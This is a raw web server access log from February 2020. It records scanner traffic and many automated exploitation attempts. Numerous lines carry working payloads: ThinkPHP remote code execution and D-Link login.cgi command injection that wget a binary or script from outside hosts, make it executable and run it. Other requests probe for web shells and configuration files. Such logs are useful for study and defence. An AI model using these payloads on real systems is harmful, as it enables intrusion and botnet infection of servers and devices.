2.133.81.180 - - [01/Feb/2020:02:24:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.135.240.252 - - [01/Feb/2020:02:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
192.99.24.62 - - [01/Feb/2020:02:27:25 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
192.99.24.62 - - [01/Feb/2020:02:27:25 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
103.83.5.41 - - [01/Feb/2020:02:27:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
202.29.30.253 - - [01/Feb/2020:02:28:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
119.194.64.96 - - [01/Feb/2020:02:28:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.118.201.205 - - [01/Feb/2020:02:28:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.79.124 - - [01/Feb/2020:02:31:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.18.16.199 - - [01/Feb/2020:02:34:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.42.181.0 - - [01/Feb/2020:02:35:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.73.124.152 - - [01/Feb/2020:02:36:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
103.83.5.41 - - [01/Feb/2020:02:37:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
190.152.37.174 - - [01/Feb/2020:02:38:30 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
183.80.240.117 - - [01/Feb/2020:02:41:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.83.5.41 - - [01/Feb/2020:02:43:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
131.108.166.43 - - [01/Feb/2020:02:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.58.20.223 - - [01/Feb/2020:02:44:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.83.5.41 - - [01/Feb/2020:02:45:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
186.47.97.122 - - [01/Feb/2020:02:47:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.54.135.101 - - [01/Feb/2020:02:47:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.17.255.201 - - [01/Feb/2020:02:47:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.93.29.16 - - [01/Feb/2020:02:48:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.194.64.96 - - [01/Feb/2020:02:52:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
58.186.23.12 - - [01/Feb/2020:02:55:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.86.114 - - [01/Feb/2020:02:56:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.155.167.105 - - [01/Feb/2020:02:56:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.43.11.249 - - [01/Feb/2020:02:56:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
176.101.254.101 - - [01/Feb/2020:02:57:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.116.132.217 - - [01/Feb/2020:02:59:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.21.46.176 - - [01/Feb/2020:03:00:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
118.172.10.157 - - [01/Feb/2020:03:01:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
170.238.164.30 - - [01/Feb/2020:03:01:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
190.192.77.168 - - [01/Feb/2020:03:02:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.34.167.211 - - [01/Feb/2020:03:03:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.249.44.46 - - [01/Feb/2020:03:05:44 +0100] "GET / HTTP/1.1" 200 1229 "https://yandex.ru/clck/jsredir?from=yandex.ru%3Bsearch%3Bweb%3B%3B&text=&etext=8347._iGRfWiXkzoNHvyqYQph40XwyXr-T3WZ8f2BNB4cPmrGgAigfeuHS3ynmefW4gv_.4c0a60ad98e812bff9f6c14b3c7176deb51b5969&uuid=&state=_BLhILn4SxNIvvL0W45KSic66uCIg23qh8iRG98qeIXmeppkgUc0YGftRg9cP1erjBfVTUcXDXk&data=UlNrNmk5WktYejR0eWJFYk1LdmtxbWgwNEp1TFp2NGd5TWpmS2s4TmJBS1Q5VERvXzAwTzlESkFTY2FnVDEwdndEVWl3R2x2blFQb3ZQVHJfbDR5Ujd0NElSejZIdU51RVM5VmtBaTNVOFk&b64e=2&sign=c2c40fa815d67565366ec95ffd58d976&keyno=0&cst=AiuY0DBWFJ7IXge4WdYJQYpgPUyh7uQlfn2jfojIRoXrHhb0oMwPkl3-sT4FYNApzbGqNTb_TQWOwKwAvA10jXEssollbejb23r96drsym3WsW3k_41ceUJ3l0qVDMAJvFEI9X00tpux1deqZzLLsfsfyvfR9nI2&ref=orjY4mGPRjk5boDnW0uvlrrd71vZw9kp5uQozpMtKCXWw0iTWKpk3B2lzICD62_KdRy5HScNZehki0B0XoV0UEqklkL7YGx2-U2q1Tyy2PZafRHhctgy0w&l10n=ru&cts=1580522744205&mc=7.30800800241" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36"
176.51.99.211 - - [01/Feb/2020:03:07:17 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
42.117.42.124 - - [01/Feb/2020:03:09:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
152.0.114.208 - - [01/Feb/2020:03:09:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
178.89.176.41 - - [01/Feb/2020:03:10:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.110.40.29 - - [01/Feb/2020:03:10:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.186.80 - - [01/Feb/2020:03:11:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
202.9.123.26 - - [01/Feb/2020:03:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
106.54.214.206 - - [01/Feb/2020:03:12:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:12:57 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:12:57 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:13:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.54.214.206 - - [01/Feb/2020:03:13:21 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.54.214.206 - - [01/Feb/2020:03:13:22 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.54.214.206 - - [01/Feb/2020:03:13:22 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
106.54.214.206 - - [01/Feb/2020:03:13:22 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:13:45 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
117.1.82.97 - - [01/Feb/2020:03:13:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.83.87 - - [01/Feb/2020:03:14:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.54.214.206 - - [01/Feb/2020:03:14:09 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:14:33 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:14:57 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:15:21 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:15:45 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:08 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
106.54.214.206 - - [01/Feb/2020:03:16:13 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:13 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:13 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:13 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:14 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:16 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:17 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:17 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:17 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:20 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:21 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:21 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:21 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:24 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:25 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:25 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:25 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:25 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:27 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:28 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:29 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:29 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:29 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:32 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:33 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:33 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:33 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:33 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:36 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:37 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:37 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:37 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:37 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:38 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:40 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:41 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:41 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:41 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:42 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:44 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:45 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.54.214.206 - - [01/Feb/2020:03:16:45 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
